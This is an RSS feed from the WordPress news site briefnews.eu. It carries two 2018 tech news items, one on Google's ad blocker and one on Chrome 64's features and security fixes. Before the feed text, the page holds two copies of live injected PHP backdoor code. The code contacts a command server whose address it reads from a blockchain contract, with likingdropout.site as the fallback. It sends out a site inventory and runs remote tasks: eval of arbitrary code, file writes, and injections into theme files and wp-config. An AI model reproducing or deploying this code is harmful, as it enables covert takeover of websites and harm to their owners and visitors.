// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); blocker – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Feb 2018 11:30:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png blocker – Brief News https://briefnews.eu 32 32 Publishers Warm to Google’s Ad Blocker, but Chafe at Company’s Power https://briefnews.eu/publishers-warm-to-googles-ad-blocker-but-chafe-at-companys-power/ https://briefnews.eu/publishers-warm-to-googles-ad-blocker-but-chafe-at-companys-power/#respond Thu, 15 Feb 2018 11:30:14 +0000 http://briefnews.eu/publishers-warm-to-googles-ad-blocker-but-chafe-at-companys-power/ Publishers are greeting the launch of Google’s ad blocker with a mixture of relief and unease, pleased that it is purging intrusive ads but worried over the internet giant’s power to quickly overhaul the industry.

]]>
https://briefnews.eu/publishers-warm-to-googles-ad-blocker-but-chafe-at-companys-power/feed/ 0
Chrome 64 arrives with stronger pop-up blocker and new developer features https://briefnews.eu/chrome-64-arrives-with-stronger-pop-up-blocker-and-new-developer-features/ https://briefnews.eu/chrome-64-arrives-with-stronger-pop-up-blocker-and-new-developer-features/#respond Wed, 24 Jan 2018 22:14:29 +0000 http://briefnews.eu/chrome-64-arrives-with-stronger-pop-up-blocker-and-new-developer-features/


Google today launched Chrome 64 for Windows, Mac, and Linux. Additions in this release include a stronger pop-up blocker and a slew of developer features. You can update to the latest version now using the browser’s built-in silent updater or download it directly from google.com/chrome.

Chrome is arguably more than a browser. With over 1 billion users, it’s a major platform that web developers have to consider. In fact, with Chrome’s regular additions and changes, developers have to keep up to ensure they are taking advantage of everything available.

First up, Chrome 64 has a stronger pop-up blocker that prevents sites with abusive experiences from opening new tabs or windows. These include third-party websites disguised as play buttons, other site controls, or even transparent overlays on websites that capture all clicks. If you’re a site owner, you can use the Abusive Experiences Report in the Google Search Console to see if your site has been found with abusive experiences.

Chrome 64 also brings support for the Resize Observer API, which gives web applications finer control over changes to sizes of elements on a page. Responsive web apps currently use CSS media queries or window.onresize to build responsive components that adapt to different viewport sizes, but these are both global signals and require the overall viewport to change in order for the site to respond accordingly.

Chrome now also supports the import.meta property within JavaScript modules that expose the module URL via import.meta.url. This is useful to developers writing JavaScript modules who want access to host-specific metadata about the current module or library authors who want to access the URL of the module being bundled into the library.

Developers will also want to know that Chrome 64 includes an update to the V8 JavaScript engine: version 6.4. You can expect the usual speed and memory improvements, plus new ECMAScript language features. Check out the summary of API changes for more information.

Chrome 64 was supposed to stop sites from autoplaying content with sound. We tested this and it appears the feature has not been turned on, even though it does work in non-stable versions.

Chrome 63 was supposed to include an option to completely disable audio for whole sites. It didn’t make it into that version, but it is available in Chrome 64, so it’s possible Google might simply be running behind schedule. Presumably by Chrome 65, if not sooner, Google’s browser will disable all autoplaying content with sound.

Other developer features in this release (some are mobile-specific):

  • The offset-path property can be used to animate an element by specifying the geometry of the path that an element moves along.
  • Developers can now use the text-decoration-skip-ink CSS property to control how overlines and underlines are drawn when they cross over a glyph.
  • Coordinates of PointerEvent with pointerType=mouse are now fractional, resulting in more precise mouse measurements.
  • To improve developer experience, Chrome now supports named captures in regular expressions, allowing developers to assign meaningful names to portions of a string that a regular expression matches.
  • Chrome now supports the Unicode property escapes \p{…} and \P{…} for regular expressions that have the u flag set, allowing developers to create more powerful Unicode-aware regular expressions.
  • To assist with local-aware formatting of strings produced by internationalization formatters, developers can now use Intl.NumberFormat.prototype.formatToParts() to format a number to a list of tokens and their type. Thanks to Igalia for helping make this happen!
  • Matching other browser implementations, Chrome now sets the default preload value for <video> and <audio> elements to metadata in order to reduce bandwidth and resource usage by only loading resource metadata and not the media resource itself.
  • Chrome now supports HDR video playback when Windows 10 is in HDR mode, enabling developers to provide users with HDR VP9 Profile 2 10-bit videos.
  • To support compatibility with the HTML Spec, Chrome now throws a “NotSupportedError” DOMException when a media element’s playbackRate is set to a value not supported by Chrome, like negative values.
  • Chrome now supports the Media Capabilities API in Origin Trials, enabling developers to know whether an audio or video playback will be smooth and power-efficient based on previous performance statistics.
  • To match the Media Capture and Streams spec, getUserMedia() returns a rejected Promise with DOMException or OverconstrainedError when there is an error.
  • Developers can now use the cache option to specify the cache mode of a Request.
  • Developers can now use Request.prototype.cache to view the cache mode of a Request and determine whether a request is a reload request.
  • To better align with the Permissions API spec, the Permissions API can now be used to query the status of the camera and microphone permissions.
  • In Focus Management APIs, developers can now focus an element without scrolling to it by using the preventScroll attribute.
  • To allow developers to transform and change position of transformed SVG elements, Chrome now supports transform-box for SVG elements. Thanks to Opera for making this happen!
  • AudioWorklet, an API that exposes low-level audio processing capability to support custom AudioNodes, is now available in origin trials and the experimental flag.
  • To align with the WebRTC 1.0 spec, RTCPeerConnection now supports addTrack() for single stream use cases, as well as removeTrack(), getSenders(), ontrack, and a minimal version of the RTCRtpSender interface.
  • To improve interoperability and end user experience, window.alert() no longer brings a backgrounded tab to the foreground but instead shows the alert when the user switches to the background tab.
  • Similar to macOS, Chrome notifications sent through the Notifications API orcolor: black; font-family: chrome.notifications on Linux are now shown directly by the Linux native notification system.
  • To align with the spec, getMatchedCSSRules has been removed and developers can use the Blink polyfill instead.
  • Following the deprecation in Chrome 45, elements can no longer host more than oneShadow Root.
  • To encourage adoption of standardized loading metrics API such as Navigation Timing 2, nextHopProtocol, and Paint Timing API, Chrome is deprecating the non-standardized chrome.loadTimes API.

For what’s new in the browser’s DevTools, check out the release notes.

Chrome 64 also implements x security fixes. The following ones were found by external researchers:

  • [$ 3000][780450] High CVE-2018-6031: Use after free in PDFium. Reported by Anonymous on 2017-11-01
  • [$ 2000][787103] High CVE-2018-6032: Same origin bypass in Shared Worker. Reported by Jun Kokatsu (@shhnjk) on 2017-11-20
  • [$ 1000][793620] High CVE-2018-6033: Race when opening downloaded files. Reported by Juho Nurminen on 2017-12-09
  • [$ 4000][784183] Medium CVE-2018-6034: Integer overflow in Blink. Reported by Tobias Klein (www.trapkit.de) on 2017-11-12
  • [$ 2500][797500] Medium CVE-2018-6035: Insufficient isolation of devtools from extensions. Reported by Rob Wu on 2017-12-23
  • [$ 2000][789952] Medium CVE-2018-6036: Integer underflow in WebAssembly. Reported by The UK’s National Cyber Security Centre (NCSC) on 2017-11-30
  • [$ 1000][753645] Medium CVE-2018-6037: Insufficient user gesture requirements in autofill. Reported by Paul Stone of Context Information Security on 2017-08-09
  • [$ 1000][774174] Medium CVE-2018-6038: Heap buffer overflow in WebGL. Reported by cloudfuzzer on 2017-10-12
  • [$ 1000][775527] Medium CVE-2018-6039: XSS in DevTools. Reported by Juho Nurminen on 2017-10-17
  • [$ 1000][778658] Medium CVE-2018-6040: Content security policy bypass. Reported by WenXu Wu of Tencent’s Xuanwu Lab on 2017-10-26
  • [$ 500][760342] Medium CVE-2018-6041: URL spoof in Navigation. Reported by Luan Herrera on 2017-08-29
  • [$ 500][773930] Medium CVE-2018-6042: URL spoof in OmniBox. Reported by Khalil Zhani on 2017-10-12
  • [$ 500][785809] Medium CVE-2018-6043: Insufficient escaping with external URL handlers. Reported by 0x09AL on 2017-11-16
  • [$ TBD][797497] Medium CVE-2018-6045: Insufficient isolation of devtools from extensions. Reported by Rob Wu on 2017-12-23
  • [$ TBD][798163] Medium CVE-2018-6046: Insufficient isolation of devtools from extensions. Reported by Rob Wu on 2017-12-31
  • [$ TBD][799847] Medium CVE-2018-6047: Cross origin URL leak in WebGL. Reported by Masato Kinugawa on 2018-01-08
  • [$ 500][763194] Low CVE-2018-6048: Referrer policy bypass in Blink. Reported by Jun Kokatsu (@shhnjk) on 2017-09-08
  • [$ 500][771848] Low CVE-2017-15420: URL spoofing in Omnibox. Reported by Drew Springall (@_aaspring_) on 2017-10-05
  • [$ 500][774438] Low CVE-2018-6049: UI spoof in Permissions. Reported by WenXu Wu of Tencent’s Xuanwu Lab on 2017-10-13
  • [$ 500][774842] Low CVE-2018-6050: URL spoof in OmniBox. Reported by Jonathan Kew on 2017-10-15
  • [$ N/a][441275] Low CVE-2018-6051: Referrer leak in XSS Auditor. Reported by Antonio Sanso (@asanso) on 2014-12-11
  • [$ N/A][615608] Low CVE-2018-6052: Incomplete no-referrer policy implementation. Reported by Tanner Emek on 2016-05-28
  • [$ N/A][758169] Low CVE-2018-6053: Leak of page thumbnails in New Tab Page. Reported by Asset Kabdenov on 2017-08-23
  • [$ N/A][797511] Low CVE-2018-6054: Use after free in WebUI. Reported by Rob Wu on 2017-12-24
  • [805285] Various fixes from internal audits, fuzzing and other initiatives

Google thus spent at least $ 22,000 in bug bounties for this release. As always, the security fixes alone should be enough incentive for you to upgrade.

Google releases a new version of its browser every six weeks or so. Chrome 64 will arrive by late January.

In related news, Google released Chrome 64 for Android yesterday. In addition to the usual performance and stability improvements, this version has the same stronger ad blocker as the desktop version that prevents sites with abusive ad experiences from opening new windows or tabs.

]]>
https://briefnews.eu/chrome-64-arrives-with-stronger-pop-up-blocker-and-new-developer-features/feed/ 0
